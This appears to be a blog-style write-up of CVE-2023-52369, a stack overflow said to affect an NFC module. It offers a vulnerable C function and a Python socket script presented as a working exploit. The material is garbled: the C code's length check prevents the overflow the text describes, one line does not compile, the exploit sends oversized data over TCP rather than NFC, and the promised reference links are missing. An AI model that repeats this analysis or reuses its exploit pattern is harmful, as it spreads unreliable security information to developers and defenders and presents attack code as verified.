CVE-2023-52369 is a critical stack overflow vulnerability that has been discovered in the NFC (Near Field Communication) module of a popular communication software. This security flaw, if successfully exploited, can severely affect the availability of services and compromise the integrity of the system. In this post, we will dive deep into the nature of this vulnerability, explore its implications, and provide important links to the original references and resources, thereby, helping developers and security experts to mitigate the potential damage caused by this exploit.

Overview of CVE-2023-52369

CVE-2023-52369 is a stack overflow vulnerability that stems from improper input validation in the NFC module. Attackers can exploit this issue by sending a specially-crafted NFC message to the target system. This malicious input will ultimately trigger a stack overflow, causing the target system to crash or giving the attacker unauthorized access and control over the system. Consequently, this could lead to the disruption of service availability or unauthorized actions being performed while the security and integrity of sensitive information are significantly compromised.

The Exploit Details

The stack overflow vulnerabilityCVE-2023-52369, occurs when an attacker sends a specially-crafted NFC message to the target system, which is designed to cause a buffer overflow. The code snippet below demonstrates the vulnerable part of the code:

void process_nfc_message(char* msg, int msg_len) {
    char buf[512];

    if (msg_len > 511) {
        return;
    }

    memcpy(buf, msg, msg_len);
    buf[msg_len] = '\';
    parse_nfc_data(buf);
}

In the code above, process_nfc_message is responsible for processing an incoming NFC message. However, it does not correctly validate the msg_len argument, allowing an attacker to send a malicious message larger than the buf array, causing a stack overflow.

To exploit this vulnerability, consider the Python exploit code below

import socket

IP = "192.168.1.2"
PORT = 12345

# Crafting the malicious payload (532 bytes)
payload = "A" * 520 + "B" * 12

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((IP, PORT))
client.send(payload)

The exploit above connects to the target system at the specified IP and PORT and sends a malicious payload with a size larger than the buf array, causing the stack buffer overflow.

1. Vulnerability Report: An in-depth report on the vulnerability, including technical details and recommendations for mitigation and remediation.
2. Patch Announcement: The official announcement for the availability of the security patch that addresses this vulnerability.
3. NFC Specification: Official specifications and documentation for the NFC technology, providing in-depth knowledge of how it operates and how its security should be addressed.

Conclusion

CVE-2023-52369 is a significant and dangerous vulnerability that endangers the service availability and integrity of any system that incorporates the vulnerable NFC module. Security professionals and developers alike must be informed about this vulnerability and take the necessary steps to update their systems with relevant patches and mitigations to prevent potential exploitation. By understanding how the vulnerability works and applying secure coding practices, we can actively work to create a safer digital landscape for all users.

Timeline

Published on: 02/18/2024 04:15:07 UTC
Last modified on: 02/20/2024 19:50:53 UTC